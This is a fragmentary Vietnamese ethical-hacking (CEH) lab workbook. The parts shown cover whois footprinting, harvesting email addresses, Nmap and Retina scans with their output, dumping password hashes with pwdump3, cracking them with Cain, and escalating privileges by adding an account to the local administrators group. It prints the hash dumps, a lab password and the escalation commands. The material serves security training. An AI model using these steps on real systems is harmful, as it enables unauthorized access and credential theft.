Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 1
Mc Lc
Bài 1: 3
FOOTPRINTING 3
I/ Gii thiu v Foot Print: 3
II/ Các bài thc hành: 3
Bài 1: Tìm thông tin v Domain 3
Bài 2: Tìm thông tin email 5
Bài 2: 7
SCANNING 7
I/ Gii thiu v Scanning: 7
II/ Các Bài thc hành 7
Bài thc hành 1: S dng Phn mm Nmap 7
Bài thc hành th 2: S dng phn mm Retina đ phát hin các vulnerabilities và tn
công bng Metaesploit framework 13
Bài 3: 18
SYSTEM HACKING 18
I/ Gii thiu System Hacking: 18
II/ Thc hành các bài Lab 18
Bài 1: Crack password nt b ni b 18
Bài 2: S dng chng trình pwdump3v2 khi có đc 1 user administrator ca
máy nn nhân đ có th tìm đc thông tin các user còn li 20
Bài Lab 3: Nâng quyn thông qua chng trình Kaspersky Lab 23
Bài Lab 4: S dng Keylogger 25
Bài Lab 5: S dng Rootkit và xóa Log file 27
Bài 4: 30
TROJAN và BACKDOOR 30
I/ Gii thiu v Trojan và Backdoor: 30
II/ Các bài thc hành: 30
I/ Gii thiu: 80
II/ Thc Hin bài lab 80
Bài Lab 1: Tn công Web Server Win 2003(li Apache) 80
Bài lab 2: Khai thác li ng dng Server U 84
Bài 10: 85
WEB APPLICATION HACKING 85
I/ Gii thiu: 85
II/ Các Bài Lab 85
Bài Lab 1: Cross Site Scripting 85
Bài Lab 2: Insufficient Data Validation 86
Bài Lab 3: Cookie Manipulation 88
Bài Lab 4: Authorization Failure 89
Bài 11: 91
SQL INJECTION 91
I/ Gii thiu v SQL Injection: 91
II/ Thc Hành Bài Lab 94
Bài 12: 101
WIRELESS HACKING 101
I/ Gii Thiu 101
II/ Thc hành bài Lab: 101
Bài 13: 105
VIRUS 105
I/ Gii thiu: (tham kho bài đc thêm) 105
II/ Thc hành Lab: 105
Bài 1: Virus phá hy d liu máy 105
Bài 2: Virus gaixinh lây qua tin nhn 107
Bài 14: 111
BUFFER OVERFLOW 111
I/ Lý thuyt 111
II/ Thc hành: 118
Bài 1: Tìm thông tin v Domain
Ta vào trang
www.whois.net
đ tìm kim thông tin và đánh vào domain mình mun
tìm kim thông tin
Sau đó ta nhn đc thông tin nh sau:
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 4
Registrar Name : BlueHost.Com
Registrar Whois : whois.bluehost.com
Registrar Homepage:
Domain Name: ITVIETNAM.COM
Created on : 1999-11-23 11:31:30 GMT
Expires on : 2009-11-23 00:00:00 GMT
Last modified on : 2007-07-30 03:15:11 GMT
Registrant Info: (FAST-12836461)
VSIC Education Corporation
VSIC Education Corporation
78-80 Nguyen Trai Street,
5 District, HCM City, 70000
Vietnam
Phone: +84.88363691
Fax :
Email:
mình. Vào link sau đây đ s dng tin ích này.
Vic tìm kim đc thông tin này rt cn thit vi Hacker, bi vì da vào thông tin s
dng chung Server này, Hacker có th thông qua các Website b li trong danh sách trên và
tn công vào Server t đó kim soát tt c các Website đc hosting trên Server.
Bài 2: Tìm thông tin email
Trong bài thc hành này, chúng ta s dng phn mm “1
st
email address spider” đ
tìm kim thông tin v các email. Hacker có th s dng phn mm này đ thu thp thêm thông
tin v mail, hay lc ra các đi tng email khác nhau, tuy nhiên bn có th s dng tool này
đ thu thp thêm thông tin nhm mc đích marketing, ví d bn cn tìm thông tin ca các
email có đuôi là @vnn.vn hay @hcm.vnn.vn đ phc cho vic marketing sn phm.
Ta có th cu hình vic s dng trang web nào đ ly thông tin, trong bài tôi s dng
trang google.com đ tìm kim.
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 6 Sau đó đánh t khóa vnn.vn vào tag keyword
Sau đó chúng ta đã có đc 1 list mail nh s dng trng trình này.
Giáo trình bài tp C|EH Tài liu dành cho hc viên
các host này m, ta s dng lnh Nmap –h đ xem li các option ca Nmap, sau đó thc hin
lnh “Nmap –sS 10.100.100.1-20”. Và sau đó đc kt qu sau:
C:\Documents and Settings\anhhao>nmap -sS 10.100.100.1-20
Starting Nmap 4.20 ( ) at 2007-08-02 10:27 Pacific Standard
Time
Interesting ports on 10.100.100.1:
Not shown: 1695 closed ports
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
MAC Address: 00:0C:29:09:ED:10 (VMware)
Interesting ports on 10.100.100.6:
Not shown: 1678 closed ports
PORT STATE SERVICE
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 8
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
23/tcp open telnet
42/tcp open nameserver
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 9
Interesting ports on 10.100.100.16:
Not shown: 1689 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
MAC Address: 00:0C:29:D6:73:6D (VMware)
Interesting ports on 10.100.100.20:
Not shown: 1693 closed ports
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
1000/tcp open cadlock
5101/tcp open admdog
MAC Address: 00:15:C5:65:E3:85 (Dell)
Nmap finished: 20 IP addresses (7 hosts up) scanned in 21.515 seconds
Trong mng có tt c 7 host, 6 máy Vmware và 1 PC DELL. Bây gi bc tip theo ta
tìm kim thông tin v OS ca các Host trên bng s dng lnh “ Nmap –v -O ip address” .
C:\Documents and Settings\anhhao>nmap -vv -O 10.100.100.7 (xem chi tit Nmap quét)
OS Fingerprint:
OS:SCAN(V=4.20%D=8/2%OT=135%CT=1%CU=36092%PV=Y%DS=1%G=Y%M=000C
29%TM=46B2187
OS:3%P=i686-pc-windows-
windows)SEQ(SP=FF%GCD=1%ISR=10A%TI=I%II=I%SS=S%TS=0)
OS:OPS(O1=M5B4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW0NNT0
0%O4=M5B4NW0NNT0
OS:0NNS%O5=M5B4NW0NNT00NNS%O6=M5B4NNT00NNS)WIN(W1=FAF0%W2=F
AF0%W3=FAF0%W4=F
OS:AF0%W5=FAF0%W6=FAF0)ECN(R=Y%DF=N%T=80%W=FAF0%O=M5B4NW0NN
S%CC=N%Q=)T1(R=Y
OS:%DF=N%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80%W=0%S=
Z%A=S%F=AR%O=%RD
OS:=0%Q=)T3(R=Y%DF=N%T=80%W=FAF0%S=O%A=S+%F=AS%O=M5B4NW0NNT
00NNS%RD=0%Q=)T4
OS:(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T
=80%W=0%S=Z%A=S+%
OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=
0%Q=)T7(R=Y%DF=N%
OS:T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%TOS=0
%IPL=B0%UN=0%RIP
OS:L=G%RID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI=S%T=80%T
OSI=Z%CD=Z%SI=S%
OS:DLI=S)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IPID Sequence Generation: Incremental
Giáo trình bài tp C|EH Tài liu dành cho hc viên
Nmap finished: 1 IP address (1 host up) scanned in 2.781 seconds
Tuy nhiên có 1 s host Nmap không th nhn din ra nh sau:
C:\Documents and Settings\anhhao>nmap -O 10.100.100.16
Starting Nmap 4.20 ( ) at 2007-08-02 10:55 Pacific Standard
Time
Interesting ports on 10.100.100.16:
Not shown: 1689 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
MAC Address: 00:0C:29:D6:73:6D (VMware)
No exact OS matches for host (If you know what OS is running on it, see http://i
nsecure.org/nmap/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=4.20%D=8/2%OT=21%CT=1%CU=35147%PV=Y%DS=1%G=Y%M=000C2
9%TM=46B21A94
OS:%P=i686-pc-windows-
windows)SEQ(SP=FD%GCD=2%ISR=10C%TI=I%II=I%SS=S%TS=0)S
OS:EQ(SP=FD%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=0)OPS(O1=M5B4NW0NNT0
0NNS%O2=M5B
OS:4NW0NNT00NNS%O3=M5B4NW0NNT00%O4=M5B4NW0NNT00NNS%O5=M5B4
C:\Documents and Settings\anhhao>nmap -p 80 -sV 10.100.100.16
Starting Nmap 4.20 ( ) at 2007-08-02 11:01 Pacific Standard
Time
Interesting ports on 10.100.100.16:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS webserver 5.0
MAC Address: 00:0C:29:D6:73:6D (VMware)
Service Info: OS: Windows
Service detection performed. Please report any incorrect results at http://insec
ure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 6.750 seconds
Vy ta có th đoán đc phn nhiu host là Window 2000 Server. Ngoài vic thc
hành trên chúng ta có th s dng Nmap trace, lu log v.v
Bài thc hành th 2: S dng phn mm Retina đ phát hi
n các vulnerabilities và tn công
bng Metaesploit framework.
Retina ca Ieye là phn mm thng mi(cng nh GFI, shadow v.v ) có th update
các l hng 1 cách thng xuyên và giúp cho ngi Admin h thng có th đa ra nhng gii
pháp đ x lý.
Bây gi ta s dng phn mm Retina đ dò tìm li ca máy Win 2003
Sp0(10.100.100.6)
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 14
14. ApacheBench multiple buffer overflows 1
15. HTTP TRACE method supported 1
Rank Port Number Description Count
1. TCP:7 ECHO - Echo 1
2. TCP:9 DISCARD - Discard 1
3. TCP:13 DAYTIME - Daytime 1
4. TCP:17 QOTD - Quote of the Day 1
5. TCP:19 CHARGEN - Character Generator 1
6. TCP:23 TELNET - Telnet 1
7. TCP:42 NAMESERVER / WINS - Host Name Server 1
8. TCP:53 DOMAIN - Domain Name Server 1
9. TCP:80
WWW-HTTP - World Wide Web HTTP (Hyper Text
Transfer Protocol)
1
10. TCP:135
RPC-LOCATOR - RPC (Remote Procedure Call) Location
Service
1
11. TCP:139 NETBIOS-SSN - NETBIOS Session Service 1
12. TCP:445 MICROSOFT-DS - Microsoft-DS 1
13. TCP:1025 LISTEN - listen 1
14. TCP:1026 NTERM - nterm 1
15. TCP:1030 IAD1 - BBN IAD 1
16. TCP:2103 ZEPHYR-CLT - Zephyr Serv-HM Conncetion 1
17. TCP:2105 EKLOGIN - Kerberos (v4) Encrypted RLogin 1
18. TCP:3389 MS RDP (Remote Desktop Protocol) / Terminal Services 1
19. TCP:8080 Generic - Shared service port 1
20. UDP:7 ECHO - Echo 1
Giáo trình bài tp C|EH Tài liu dành cho hc viên
Kt lun: Phn mm scanning rt quan trng vi Hacker đ có th phát hin li ca h thng,
sau khi xác đnh li Hacker có th s dng Framework có sn hay code có sn trên Internet đ
có th chim quyn s dng ca máy mc tiêu. Tuy nhiên đây cng là công c hu ích ca
Admin h thng, phn mm này giúp cho ngi Admin h thng đánh giá li mc đ bo mt
ca h thng mình và kim tra liên tc các bug li xy ra.
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 18
Bài 3:
SYSTEM HACKING
I/ Gii thiu System Hacking:
Nh chúng ta đã hc phn lý thuyt, Module System Hacking bao gm nhng k
thut ly Username và Password, nâng quyn trong h thng, s dng keyloger đ ly thông
tin ca đi phng(trong bc này cng có th Hacker đ li Trojan, vn đ hc chng
Bt phm mm Cain và chn Import Hashes from local system
đây chúng ta thy có 3 ch đ, “ Import hash from local system”, ta s dng file
SAM ca h thng hin ti đ ly hash ca account(không có mã hóa syskey), Option Import
Hashes from text file, thông thng text file này là ly t Pwdump(lu hash ca account h
thng di dng không b mã hóa), Option th 3 là khi chúng ta có syskey và file SAM b mã
hóa bi syskey. Ca ba trng hp nu nhp đy đ thông tin chúng ta đu có th có hash ca
account không b mã hóa bi syskey. Da vào thông tin hash này phn mm s brute force đ
tìm kim password ca account.
Trong bài ta chn user haovsic, và chn Brute force theo NTLM hash. Sau khi chn
ch đ này ta thy PC bt đu tính toán và cho ra kt qu.
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 20
Bài 2: S dng chng trình pwdump3v2 khi có đc 1 user administrator ca
máy nn nhân đ có th tìm đc thông tin các user còn li.
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 21
Máy ca nn nhân s dng Window 2003 sp0, và có sn user “quyen” password là
“cisco”, bây gi da vào account này, ta có th tìm thêm thông tin ca nhng account khác
trong máy.
Trc tiên ta s dng pwdump3.exe đ xem các tham s cn nhp vào. Sau đó s
dng lnh “pwdump3.exe 10.100.100.6 c;\hao2003sp0 quyen”, và nhp vào password ca
user quyen.
IUSR_113-
SSR3JKXGW3N:1003:449913C1CEC65E2A97074C07DBD2969F:9E6A4AF346F1A1F483
3ABFA52ADA9462:::
IWAM_113-
SSR3JKXGW3N:1004:4431005ABF401D86F92DBAC26FDFD3B8:188AA6E0737F12D16
D60F8B64F7AE1FA:::
lylam:1012:EE94DC327C009996AAD3B435B51404EE:7A63FB0793A85C960A775497C9
D738EE:::
quyen:500:A00B9194BEDB81FEAAD3B435B51404EE:5C800F13A3CE86ED2540DD4E
7331E9A2:::
SUPPORT_388945a0:1001:NO
PASSWORD*********************:F791B19C488F4260723561D4F484EA09:::
tam:1014:NO PASSWORD*********************:NO
PASSWORD*********************:::
test:1017:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B8
9537:::
vic123:1021:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB
12283678:::
Ta thy thông tin user quyen có ID là 500, đây là ID ca user administrator trong
mng, và user Guest là 501. Ngoài thông tin trên, ta có thêm thông tin v pash hash ca user,
bây gi ta s dng chng trình Cain đ tìm kim thông tin v password ca các user khác.
S dng Brute Force Attack vi user “hiclassceh” và tìm ra password là “1234a”.
Password này ch có 5 ký t và d dàng b Brute Force, tuy nhiên đi vi nhng password là “
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 23
stong password” (password bao gm ch hoa và thng, ký t, s, ký t đc bit) thì s lâu
net Localgroup administrators hao /add
The command completed successfully. D:\WINDOWS\system32>net user hao
net user hao
User name hao
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 8/3/2007 1:47 PM
Password expires 9/15/2007 12:35 PM
Password changeable 8/3/2007 1:47 PM
Password required Yes
Giáo trình bài tp C|EH Tài liu dành cho hc viên
VSIC Education Corporation Trang 25
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 8/3/2007 1:54 PM
Logon hours allowed All